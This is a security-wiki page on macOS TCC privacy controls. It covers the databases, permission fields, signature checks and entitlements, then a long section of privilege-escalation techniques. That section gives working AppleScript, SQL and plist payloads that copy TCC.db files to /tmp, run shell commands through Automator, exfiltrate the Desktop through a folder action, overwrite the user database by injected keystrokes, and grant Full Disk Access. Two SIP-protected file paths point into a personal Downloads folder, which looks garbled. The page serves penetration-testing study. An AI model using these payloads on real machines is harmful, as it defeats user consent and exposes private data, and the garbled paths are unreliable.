macOS TCC - HackTricks

# macOS TCC

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## Basic Information

TCC (Transparency, Consent, and Control) is a security protocol focusing on regulating application permissions. Its primary role is to safeguard sensitive features like location services, contacts, photos, microphone, camera, accessibility, and full disk access. By mandating explicit user consent before granting app access to these elements, TCC enhances privacy and user control over their data.

Users encounter TCC when applications request access to protected features. This is visible through a prompt that allows users to approve or deny access. Furthermore, TCC accommodates direct user actions, such as dragging and dropping files into an application, to grant access to specific files, ensuring that applications have access only to what is explicitly permitted.

TCC is handled by the daemon located in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` and configured in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registering the mach service `com.apple.tccd.system`).

There is a user-mode tccd running per logged in user defined in `/System/Library/LaunchAgents/com.apple.tccd.plist` registering the mach services `com.apple.tccd` and `com.apple.usernotifications.delegate.com.apple.tccd`.

Here you can see the tccd running as system and as user:

    ps -ef | grep tcc
        0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
      501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

Permissions are inherited from the parent application and the permissions are tracked based on the Bundle ID and the Developer ID.

### TCC Databases

The allowances/denies then stored in some TCC databases:

- The system-wide database in `/Library/Application Support/com.apple.TCC/TCC.db` .
  - This database is SIP protected, so only a SIP bypass can write into it.
- The user TCC database `$HOME/Library/Application Support/com.apple.TCC/TCC.db` for per-user preferences.
  - This database is protected so only processes with high TCC privileges like Full Disk Access can write to it (but i't not protected by SIP).

> [!WARNING] The previous databases are also TCC protected for read access. So you won't be able to read your regular user TCC database unless it's from a TCC privileged process.

> However, remember that a process with these high privileges (like FDA or `kTCCServiceEndpointSecurityClient`) will be able to write the users TCC database

- There is a third TCC database in `/var/db/locationd/clients.plist` to indicate clients allowed to access location services.
- The SIP protected file `/Users/carlospolop/Downloads/REG.db` (also protected from read access with TCC), contains the location of all the valid TCC databases.
- The SIP protected file `/Users/carlospolop/Downloads/MDMOverrides.plist` (also protected from read access with TCC), contains more TCC granted permissions.
- The SIP protected file `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` (bu readable by anyone) is an allow list of applications that require a TCC exception.

> [!TIP] The TCC database in iOS is in `/private/var/mobile/Library/TCC/TCC.db`

> [!NOTE] The notification center UI can make changes in the system TCC database:

>     codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
>     [..]
>     com.apple.private.tcc.manager
>     com.apple.rootless.storage.TCC

> However, users can delete or query rules with the `tccutil` command line utility.

#### Query the databases

{{#tabs}} {{#tab name="user DB"}}

    sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
    sqlite> .schema
    # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
    # The table access contains the permissions per services
    sqlite> select service, client, auth_value, auth_reason from access;
    kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
    kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
    kTCCServiceMicrophone|us.zoom.xos|2|2
    [...]

    # Check user approved permissions for telegram
    sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
    # Check user denied permissions for telegram
    sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{{#endtab}}

{{#tab name="system DB"}}

    sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
    sqlite> .schema
    # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
    # The table access contains the permissions per services
    sqlite> select service, client, auth_value, auth_reason from access;
    kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
    kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
    kTCCServiceMicrophone|us.zoom.xos|2|2
    [...]

    # Get all FDA
    sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;

    # Check user approved permissions for telegram
    sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
    # Check user denied permissions for telegram
    sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{{#endtab}} {{#endtabs}}

> [!TIP] Checking both databases you can check the permissions an app has allowed, has forbidden, or doesn't have (it will ask for it).

- The `service` is the TCC permission string representation
- The `client` is the bundle ID or path to binary with the permissions
- The `client_type` indicates whether it’s a Bundle Identifier(0) or an absolute path(1)

How to execute if it's an absolute path

Just do `launctl load you_bin.plist`, with a plist like:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <!-- Label for the job -->
        <key>Label</key>
        <string>com.example.yourbinary</string>

        <!-- The path to the executable -->
        <key>Program</key>
        <string>/path/to/binary</string>

        <!-- Arguments to pass to the executable (if any) -->
        <key>ProgramArguments</key>
        <array>
            <string>arg1</string>
            <string>arg2</string>
        </array>

        <!-- Run at load -->
        <key>RunAtLoad</key>
        <true/>

        <!-- Keep the job alive, restart if necessary -->
        <key>KeepAlive</key>
        <true/>

        <!-- Standard output and error paths (optional) -->
        <key>StandardOutPath</key>
        <string>/tmp/YourBinary.stdout</string>
        <key>StandardErrorPath</key>
        <string>/tmp/YourBinary.stderr</string>
    </dict>
    </plist>

- The `auth_value` can have different values: denied(0), unknown(1), allowed(2), or limited(3).
- The `auth_reason` can take the following values: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- The csreq field is there to indicate how to verify the binary to execute and grant the TCC permissions:

    # Query to get cserq in printable hex
    select service, client, hex(csreq) from access where auth_value=2;

    # To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
    BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
    echo "$BLOB" | xxd -r -p > terminal-csreq.bin
    csreq -r- -t < terminal-csreq.bin

    # To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
    REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
    echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
    REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
    echo "X'$REQ_HEX'"

- For more information about the other fields of the table check this blog post.

You could also check already given permissions to apps in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.

> [!TIP] Users can delete or query rules using `tccutil` .

#### Reset TCC permissions

    # You can reset all the permissions given to an application with
    tccutil reset All app.some.id

    # Reset the permissions granted to all apps
    tccutil reset All

### TCC Signature Checks

The TCC database stores the Bundle ID of the application, but it also stores information about the signature to make sure the App asking to use the a permission is the correct one.

    # From sqlite
    sqlite> select service, client, hex(csreq) from access where auth_value=2;
    #Get csreq

    # From bash
    echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
    ## Get signature checks
    csreq -t -r /tmp/telegram_csreq.bin
    (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

> [!WARNING] Therefore, other applications using the same name and bundle ID won't be able to access granted permissions given to other apps.

### Entitlements & TCC Permissions

Apps don't only need to request and have been granted access to some resources, they also need to have the relevant entitlements.
For example Telegram has the entitlement `com.apple.security.device.camera` to request access to the camera. An app that doesn't have this entitlement won't be able to access the camera (and the user won't be be even asked for the permissions).

However, for apps to access to certain user folders, such as `~/Desktop`, `~/Downloads` and `~/Documents`, they don't need to have any specific entitlements. The system will transparently handle access and prompt the user as needed.

Apple's apps won’t generate prompts. They contain pre-granted rights in their entitlements list, meaning they will never generate a popup, nor they will show up in any of the TCC databases. For example:

    codesign -dv --entitlements :- /System/Applications/Calendar.app
    [...]
    <key>com.apple.private.tcc.allow</key>
    <array>
        <string>kTCCServiceReminders</string>
        <string>kTCCServiceCalendar</string>
        <string>kTCCServiceAddressBook</string>
    </array>

This will avoid Calendar ask the user to access reminders, calendar and the address book.

> [!TIP] Apart from some official documentation about entitlements it's also possible to find unofficial interesting information about entitlements in https://newosxbook.com/ent.jl

Some TCC permissions are: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... There is no public list that defines all of them but you can check this list of known ones.

### Sensitive unprotected places

- $HOME (itself)
- $HOME/.ssh, $HOME/.aws, etc
- /tmp

### User Intent / com.apple.macl

As mentioned previously, it possible to grant access to an App to a file by drag&dropping it to it. This access won't be specified in any TCC database but as an extended attribute of the file. This attribute will store the UUID of the allowed app:

    xattr Desktop/private.txt
    com.apple.macl

    # Check extra access to the file
    ## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
    macl_read Desktop/private.txt
    Filename,Header,App UUID
    "Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

    # Get the UUID of the app
    otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
        uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

> [!NOTE] It's curious that the `com.apple.macl` attribute is managed by the Sandbox, not tccd.

> Also note that if you move a file that allows the UUID of an app in your computer to a different compiter, because the same app will have different UIDs, it won't grant access to that app.

The extended attribute `com.apple.macl` can’t be cleared like other extended attributes because it’s protected by SIP. However, as explained in this post, it's possible to disable it zipping the file, deleting it and unzipping it.

## TCC Privesc & Bypasses

### Insert into TCC

If at some point you manage to get write access over a TCC database you can use something like the following to add an entry (remove the comments):

Insert into TCC example

    INSERT INTO access (
        service,
        client,
        client_type,
        auth_value,
        auth_reason,
        auth_version,
        csreq,
        policy_id,
        indirect_object_identifier_type,
        indirect_object_identifier,
        indirect_object_code_identity,
        flags,
        last_modified,
        pid,
        pid_version,
        boot_uuid,
        last_reminded
    ) VALUES (
        'kTCCServiceSystemPolicyDesktopFolder', -- service
        'com.googlecode.iterm2', -- client
        0, -- client_type (0 - bundle id)
        2, -- auth_value  (2 - allowed)
        3, -- auth_reason (3 - "User Set")
        1, -- auth_version (always 1)
        X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
        NULL, -- policy_id
        NULL, -- indirect_object_identifier_type
        'UNUSED', -- indirect_object_identifier - default value
        NULL, -- indirect_object_code_identity
        0, -- flags
        strftime('%s', 'now'), -- last_modified with default current timestamp
        NULL, -- assuming pid is an integer and optional
        NULL, -- assuming pid_version is an integer and optional
        'UNUSED', -- default value for boot_uuid
        strftime('%s', 'now') -- last_reminded with default current timestamp
    );

### TCC Payloads

If you managed to get inside an app with some TCC permissions check the following page with TCC payloads to abuse them:

macOS TCC Payloads

### Apple Events

Learn about Apple Events in:

macOS Apple Events

### Automation (Finder) to FDA*

The TCC name of the Automation permission is: `kTCCServiceAppleEvents`
This specific TCC permission also indicates the application that can be managed inside the TCC database (so the permissions doesn't allow just to manage everything).

Finder is an application that always has FDA (even if it doesn't appear in the UI), so if you have Automation privileges over it, you can abuse its privileges to make it do some actions.
In this case your app would need the permission `kTCCServiceAppleEvents` over `com.apple.Finder`.

{{#tabs}} {{#tab name="Steal users TCC.db"}}

    # This AppleScript will copy the system TCC database into /tmp
    osascript<<EOD
    tell application "Finder"
        set homeFolder to path to home folder as string
        set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
        set targetFolder to POSIX file "/tmp" as alias
        duplicate file sourceFile to targetFolder with replacing
    end tell
    EOD

{{#endtab}}

{{#tab name="Steal systems TCC.db"}}

    osascript<<EOD
    tell application "Finder"
        set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
        set targetFolder to POSIX file "/tmp" as alias
        duplicate file sourceFile to targetFolder with replacing
    end tell
    EOD

{{#endtab}} {{#endtabs}}

You could abuse this to write your own user TCC database.

> [!WARNING] With this permission you will be able to ask finder to access TCC restricted folders and give you the files, but afaik you won't be able to make Finder execute arbitrary code to fully abuse his FDA access.

> Therefore, you won't be able to abuse the full FDA habilities.

This is the TCC prompt to get Automation privileges over Finder:

> [!CAUTION] Note that because the Automator app has the TCC permission `kTCCServiceAppleEvents`, it can control any app, like Finder. So having the permission to control Automator you could also control the Finder with a code like the one below:

Get a shell inside Automator

    osascript<<EOD
    set theScript to "touch /tmp/something"

    tell application "Automator"
       set actionID to Automator action id "com.apple.RunShellScript"
       tell (make new workflow)
          add actionID to it
          tell last Automator action
             set value of setting "inputMethod" to 1
             set value of setting "COMMAND_STRING" to theScript
          end tell
          execute it
       end tell
       activate
    end tell
    EOD
    # Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

Same happens with Script Editor app, it can control Finder, but using an AppleScript you cannot force it to execute a script.

### Automation (SE) to some TCC

System Events can create Folder Actions, and Folder actions can access some TCC folders (Desktop, Documents & Downloads), so a script like the following one can be used to abuse this behaviour:

    # Create script to execute with the action
    cat > "/tmp/script.js" <<EOD
    var app = Application.currentApplication();
    app.includeStandardAdditions = true;
    app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
    EOD

    osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

    # Create folder action with System Events in "$HOME/Desktop"
    osascript <<EOD
    tell application "System Events"
        -- Ensure Folder Actions are enabled
        set folder actions enabled to true

        -- Define the path to the folder and the script
        set homeFolder to path to home folder as text
        set folderPath to homeFolder & "Desktop"
        set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

        -- Create or get the Folder Action for the Desktop
        if not (exists folder action folderPath) then
            make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
        end if
        set myFolderAction to folder action folderPath

        -- Attach the script to the Folder Action
        if not (exists script scriptPath of myFolderAction) then
            make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
        end if

        -- Enable the Folder Action and the script
        enable myFolderAction
    end tell
    EOD

    # File operations in the folder should trigger the Folder Action
    touch "$HOME/Desktop/file"
    rm "$HOME/Desktop/file"

### Automation (SE) + Accessibility (`kTCCServicePostEvent`|`kTCCServiceAccessibility`) to FDA*

Automation on `System Events` + Accessibility (`kTCCServicePostEvent`) allows to send keystrokes to processes. This way you could abuse Finder to change the users TCC.db or to give FDA to an arbitrary app (although password might be prompted for this).

Finder overwriting users TCC.db example:

    -- store the TCC.db file to copy in /tmp
    osascript <<EOF
    tell application "System Events"
        -- Open Finder
        tell application "Finder" to activate

        -- Open the /tmp directory
        keystroke "g" using {command down, shift down}
        delay 1
        keystroke "/tmp"
        delay 1
        keystroke return
        delay 1

        -- Select and copy the file
        keystroke "TCC.db"
        delay 1
        keystroke "c" using {command down}
        delay 1

        -- Resolve $HOME environment variable
        set homePath to system attribute "HOME"

        -- Navigate to the Desktop directory under $HOME
        keystroke "g" using {command down, shift down}
        delay 1
        keystroke homePath & "/Library/Application Support/com.apple.TCC"
        delay 1
        keystroke return
        delay 1

        -- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
        keystroke "TCC.db"
        delay 1
        keystroke return
        delay 1
        key code 51 using {command down}
        delay 1

        -- Paste the file
        keystroke "v" using {command down}
    end tell
    EOF

### `kTCCServiceAccessibility` to FDA*

Check this page for some payloads to abuse the Accessibility permissions to privesc to FDA* or run a keylogger for example.

### Endpoint Security Client to FDA

If you have `kTCCServiceEndpointSecurityClient`, you have FDA. End.

### System Policy SysAdmin File to FDA

`kTCCServiceSystemPolicySysAdminFiles` allows to change the `NFSHomeDirectory` attribute of a user that changes his home folder and therefore allows to bypass TCC.

### User TCC DB to FDA

Obtaining write permissions over the user TCC database you **can'**t grant yourself `FDA` permissions, only the one that lives in the system database can grant that.

But you can can give yourself `Automation rights to Finder`, and abuse the previous technique to escalate to FDA*.

### FDA to TCC permissions

Full Disk Access is TCC name is `kTCCServiceSystemPolicyAllFiles`

I don't thing this is a real privesc, but just in case you find it useful: If you controls a program with FDA you can modify the users TCC database and give yourself any access. This can be useful as a persistence technique in case you might lose your FDA permissions.

### SIP Bypass to TCC Bypass

The system TCC database is protected by SIP, thats why only processes with the indicated entitlements are going to be able to modify it. Therefore, if an attacker finds a SIP bypass over a file (be able to modify a file restricted by SIP), he will be able to:

- Remove the protection of a TCC database, and give himself all TCC permissions. He could abuse any of these files for example:
  - The TCC systems database
  - REG.db
  - MDMOverrides.plist

However, there is another option to abuse this SIP bypass to bypass TCC, the file `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` is an allow list of applications that require a TCC exception. Therefore, if an attacker can remove the SIP protection from this file and add his own application the application ill be able to bypass TCC.
For example to add terminal:

    # Get needed info
    codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
    	<key>Services</key>
    	<dict>
    		<key>SystemPolicyAllFiles</key>
    		<array>
    			<dict>
    				<key>CodeRequirement</key>
    				<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
    				<key>IdentifierType</key>
    				<string>bundleID</string>
    				<key>Identifier</key>
    				<string>com.apple.Terminal</string>
    			</dict>
    		</array>
    	</dict>
    </dict>
    </plist>

### TCC Bypasses

macOS TCC Bypasses

## References

- https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
- https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
- https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/

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